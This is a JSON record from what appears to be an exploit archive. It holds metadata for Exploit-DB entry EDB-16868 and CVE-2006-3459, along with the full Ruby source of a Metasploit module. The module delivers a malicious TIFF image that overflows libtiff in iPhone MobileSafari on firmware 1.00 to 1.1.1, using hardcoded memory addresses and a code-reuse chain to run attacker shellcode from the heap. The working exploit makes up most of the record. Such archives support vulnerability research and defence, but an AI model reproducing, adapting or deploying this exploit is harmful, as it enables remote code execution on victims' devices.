{"exploit":{"id":"EDB-16868","name":"Apple iPhone MobileSafari LibTIFF - 'email' Remote Buffer Overflow (Metasploit)","description":"Apple iPhone MobileSafari LibTIFF - 'email' Remote Buffer Overflow (Metasploit)","cves":["CVE-2006-3459"],"author":"Metasploit","published":"2010-09-20","platform":"hardware","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16868","path":"exploits/hardware/remote/16868.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16868.rb","vulnerabilities":[{"id":"CVE-2006-3459","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in the TIFF library (libtiff) before 3.8.2, as used in Adobe Reader 9.3.0 and other products, allow context-dependent attackers to execute arbitrary code or cause a denial of service via unspecified vectors, including a large tdir_count value in the TIFFFetchShortPair function in tif_dirread.c.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-3459","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-3459"},"updatedAt":"2024-08-07T18:30:33.954Z","retrievedAt":"2026-11-27T08:41:02.282Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16868.png?v=2","url":"https://exploitbin.com/exploits/EDB-16868","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16868/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16868/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\t#\n\t# This module acts as an HTTP server\n\t#\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'iPhone MobileSafari LibTIFF Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits a buffer overflow in the version of\n\t\t\tlibtiff shipped with firmware versions 1.00, 1.01, 1.02, and\n\t\t\t1.1.1 of the Apple iPhone. iPhones which have not had the BSD\n\t\t\ttools installed will need to use a special payload.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>  ['hdm', 'kf'],\n\t\t\t'Version'        => '$Revision: 10394 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2006-3459'],\n\t\t\t\t\t['OSVDB', '27723'],\n\t\t\t\t\t['BID', '19283']\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1800,\n\t\t\t\t\t'BadChars' => \"\"\n\t\t\t\t},\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\n\t\t\t\t\t[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'osx',\n\n\t\t\t\t\t\t\t# Scratch space for our shellcode and stack\n\t\t\t\t\t\t\t'Heap'     => 0x00802000,\n\n\t\t\t\t\t\t\t# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib\n\t\t\t\t\t\t\t'Magic'    => 0x300d562c,\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Aug 01 2006'\n\t\t\t))\n\tend\n\n\tdef on_request_uri(cli, req)\n\t\t# Re-generate the payload\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\n\n\t\t# Grab reference to the target\n\t\tt = target\n\n\t\tprint_status(\"Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\t# Transmit the compressed response to the client\n\t\tsend_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })\n\n\t\t# Handle the payload\n\t\thandler(cli)\n\tend\n\n\tdef generate_tiff(code, targ)\n\n\t\t#\n\t\t# This is a TIFF file, we have a huge range of evasion\n\t\t# capabilities, but for now, we don't use them.\n\t\t#  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday\n\t\t#\n\n\t\tlolz = 2048\n\t\ttiff =\n\t\t\t\"\\x49\\x49\\x2a\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"+\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"+\n\t\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x01\\x03\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\\x01\\x03\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x03\\x01\\x03\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\xaa\\x00\\x00\\x00\\x06\\x01\\x03\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x11\\x01\\x04\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x17\\x01\\x04\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x1c\\x01\\x03\\x00\"+\n\t\t\t\"\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x50\\x01\\x03\\x00\"+\n\t\t\t[lolz].pack(\"V\") +\n\t\t\t\"\\x84\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n\t\t# Randomize the bajeezus out of our data\n\t\thehe = rand_text(lolz)\n\n\t\t# Were going to candy mountain!\n\t\thehe[120, 4] = [targ['Magic']].pack(\"V\")\n\n\t\t# >> add r0, r4, #0x30\n\t\thehe[104, 4] = [ targ['Heap'] - 0x30 ].pack(\"V\")\n\n\t\t# Candy mountain, Charlie!\n\t\t# >> mov r1, sp\n\n\t\t# It will be an adventure!\n\t\t# >> mov r2, r8\n\t\thehe[ 92, 4] = [ hehe.length ].pack(\"V\")\n\n\t\t# Its a magic leoplurodon!\n\t\t# It has spoken!\n\t\t# It has shown us the way!\n\t\t# >> bl _memcpy\n\n\t\t# Its just over this bridge, Charlie!\n\t\t# This magical bridge!\n\t\t# >> ldr r3, [r4, #32]\n\t\t# >> ldrt r3, [pc], r3, lsr #30\n\t\t# >> str r3, [r4, #32]\n\t\t# >> ldr r3, [r4, #36]\n\t\t# >> ldrt r3, [pc], r3, lsr #30\n\t\t# >> str r3, [r4, #36]\n\t\t# >> ldr r3, [r4, #40]\n\t\t# >> ldrt r3, [pc], r3, lsr #30\n\t\t# >> str r3, [r4, #40]\n\t\t# >> ldr r3, [r4, #44]\n\t\t# >> ldrt r3, [pc], r3, lsr #30\n\t\t# >> str r3, [r4, #44]\n\n\t\t# We made it to candy mountain!\n\t\t# Go inside Charlie!\n\t\t# sub sp, r7, #0x14\n\t\thehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack(\"V\")\n\n\t\t# Goodbye Charlie!\n\t\t# ;; targ['Heap'] + 0x48 becomes the stack pointer\n\t\t# >> ldmia sp!, {r8, r10}\n\n\t\t# Hey, what the...!\n\t\t# >> ldmia sp!, {r4, r5, r6, r7, pc}\n\n\t\t# Return back to the copied heap data\n\t\thehe[192, 4] = [  targ['Heap'] + 196  ].pack(\"V\")\n\n\t\t# Insert our actual shellcode at heap location + 196\n\t\thehe[196, payload.encoded.length] = payload.encoded\n\n\t\ttiff << hehe\n\tend\n\nend","sha256":"2cc684a60c83fbf04a06d998b263f5942d7caf0616ce2de59c1ed2b54fd8ae9c","bytes":4306,"fetchedAt":"2026-11-27T12:12:00.366Z","encoding":"utf-8 (display only; download retains original bytes)"}